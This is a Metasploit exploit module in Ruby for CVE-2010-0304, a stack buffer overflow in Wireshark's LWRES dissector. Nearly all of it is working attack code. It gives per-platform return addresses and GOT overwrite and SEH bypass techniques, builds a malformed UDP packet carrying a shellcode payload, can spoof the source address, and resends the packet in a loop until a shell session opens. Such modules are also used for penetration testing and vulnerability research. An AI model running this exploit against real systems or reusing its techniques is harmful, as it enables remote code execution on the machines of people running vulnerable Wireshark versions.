Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)



##

# $Id: wireshark_lwres_getaddrbyname_loop.rb 11126 2010-11-24 19:25:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'racket'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Seh
    include Msf::Exploit::Capture

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
            'Description'    => %q{
                    The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
                1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
                overflow. This bug found and reported by babi.

                This particular exploit targets the dissect_getaddrsbyname_request function. Several
                other functions also contain potentially exploitable stack-based buffer overflows.

                The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
                exploitation via the return address on the stack. Sending a larger string allows
                exploitation using the SEH bypass method. However, this packet will usually get
                fragmented, which may cause additional complications.

                NOTE: The vulnerable code is reached only when the packet dissection is rendered.
                If the packet is fragmented, all fragments must be captured and reassembled to
                exploit this issue.

                This version loops, sending the packet every X seconds until the job is killed.
            },
            'Author'        =>
                [
                    'babi',   # original discovery/exploit
                    'jduck',  # ported from public exploit
                    'redsand' # windows target/testing
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11126 $',
            'References'    =>
                [
                    [ 'CVE', '2010-0304' ],
                    [ 'OSVDB', '61987' ],
                    [ 'BID', '37985' ],
                    [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
                    [ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Privileged'    => true, # at least capture privilege
            'Payload'        =>
                {
                    'Space'       => 512,
                    'BadChars'    => "\x00",
                    'DisableNops' => true,
                },
            'DefaultTarget'    => 4,
            'Targets'        =>
                [
                    [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
                        # breakpoint: lwres.so + 0x2ce2
                        {
                            'Arch'      => ARCH_X86,
                            'Platform'  => 'linux',
                            # conveniently, edx pointed at our string..
                            # and so, we write it to g_slist_append's GOT entry just before its called.
                            # pwnt.
                            #
                            #   mov [ebx+0xc],edx / jmp 0x804fc40 -->
                            #    mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
                            #
                            'Ret'       => 0x804fc85,    # see above..
                            'RetOff'    => 376,
                            'Readable'  => 0x804fa04,    # just anything
                            'GotAddr'   => 0x080709c8    # objdump -R tshark | grep g_slist_append
                        }
                    ],
                    [ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
                        {
                            'Arch'      => ARCH_X86,
                            'Platform'  => 'linux',
                            # the method for tshark doesn't work, since there aren't any convenient
                            # pointers lying around (in reg/close on stack)
                            #
                            # since the wireshark bin has a jmp esp, we'll just use that method..
                            'Ret'       => 0x818fce8,    # jmp esp in wireshark bin
                            'RetOff'    => 376,
                            'Readable'  => 0x8066a40,    # just any old readable addr (unused)
                            'GotAddr'   => 0x818601c     # objdump -R wireshark | grep g_slist_append (unused)
                        }
                    ],

                    [ 'wireshark 1.2.5 on RHEL 5.4 (x64)',
                        {
                            'Arch'      => ARCH_X86_64,
                            'Platform'  => 'linux',
                            'Ret'       => 0xfeedfed5deadbeef,
                            'RetOff'    => 152,
                        }
                    ],

                    [ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
                        {
                            'Arch'      => ARCH_X86,
                            'Platform'  => 'osx',
                            'Ret'       => 0xdeadbeef,
                            'RetOff'    => 268,
                        }
                    ],

                    # The following target was tested against Windows XP SP3 and Windows Vista
                    [ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
                        {
                            'Arch'      => ARCH_X86,
                            'Platform'  => 'win',
                            # NOTE: due to the length of this packet, your mileage may vary.
                            'Ret'       => 0x61B4121B,
                            # 0x655810b6 = pop/pop/ret in libpango
                            # 0x02A110B6 = pop/pop/ret in libgtk-w
                            # 0x03D710CC = pop/mov/pop/ret in packet
                            # 0x61B4121B = pop/pop/ret in pcre3
                            'RetOff'    => 2128,
                        }
                    ],
                ],
            'DisclosureDate' => 'Jan 27 2010',
            # Set it to passive mode to background it.
            'Stance' => Msf::Exploit::Stance::Passive))

        register_options([
            Opt::RPORT(921),
            Opt::RHOST("239.255.255.250"),
            OptAddress.new(    'SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
            OptInt.new(        'DELAY', [true,  'This option sets the delay between sent packets', 5])
        ], self.class)

        register_advanced_options([
            OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])
        ], self.class)

        deregister_options('FILTER','PCAPFILE')
    end

    def exploit

        ret_offset = target['RetOff']

        # we have different techniques depending on the target
        if (target == targets[0])
            # debian tshark
            str = make_nops(ret_offset - payload.encoded.length - 16)
            str << payload.encoded
            str << [target['GotAddr'] - 0xc].pack('V')
            str << rand_text(4)
            str << [target['Readable']].pack('V')
            str << rand_text(4)
            # ret is next
        elsif (target == targets[1])
            fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
            str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
            str << fix_esp
            str << payload.encoded
            # jmp esp...
            str << [target.ret].pack('V')
            # jump back
            distance = ret_offset + 4
            str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
        elsif (target == targets[4])
            # ugh, /GS and UDP length issues :-/
            str = make_nops(ret_offset - payload.encoded.length)
            str << payload.encoded
            str << generate_seh_record(target.ret)
            # jump back
            distance = ret_offset + 8
            str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
        else
            # this is just a simple DoS payload
            str = Rex::Text.pattern_create(ret_offset)
            #str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
        end

        # add return address
        #XXX: this isn't working?
        #str << Rex::Arch.pack_addr(target.arch, target.ret)
        str << [target.ret].pack('V')

        # form the packet's payload!
        sploit =  "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
        sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        sploit << "\x00\x00\x00\x01"
        sploit << [str.length].pack('n')
        sploit << str
        sploit << "\x00\x00"

        shost = datastore['SHOST']
        if (shost)
            print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")
            open_pcap

            n = Racket::Racket.new

            n.l3 = Racket::L3::IPv4.new
            n.l3.src_ip = datastore['SHOST'] || Rex::Socket.source_address(rhost)
            n.l3.dst_ip = rhost
            n.l3.protocol = 6
            n.l3.id = rand(0x10000)
            n.l3.ttl = 64

            n.l4 = Racket::L4::UDP.new
            n.l4.src_port = rand((2**16)-1024)+1024
            n.l4.dst_port = datastore['RPORT'].to_i

            n.l4.payload  = sploit

            n.l4.fix!(n.l3.src_ip, n.l3.dst_ip)
            pkt = n.pack

            while true
                break if session_created? and datastore['ExitOnSession']
                capture_sendto(pkt, rhost)
                select(nil,nil,nil,datastore['DELAY'])
            end

            close_pcap

            handler
        else
            print_status("Sending malformed LWRES packet to #{rhost} every #{datastore['DELAY']} seconds.")

            handler

            while true
                break if session_created? and datastore['ExitOnSession']
                connect_udp
                udp_sock.put(sploit)
                disconnect_udp
                select(nil,nil,nil,datastore['DELAY'])
            end
        end

    end

end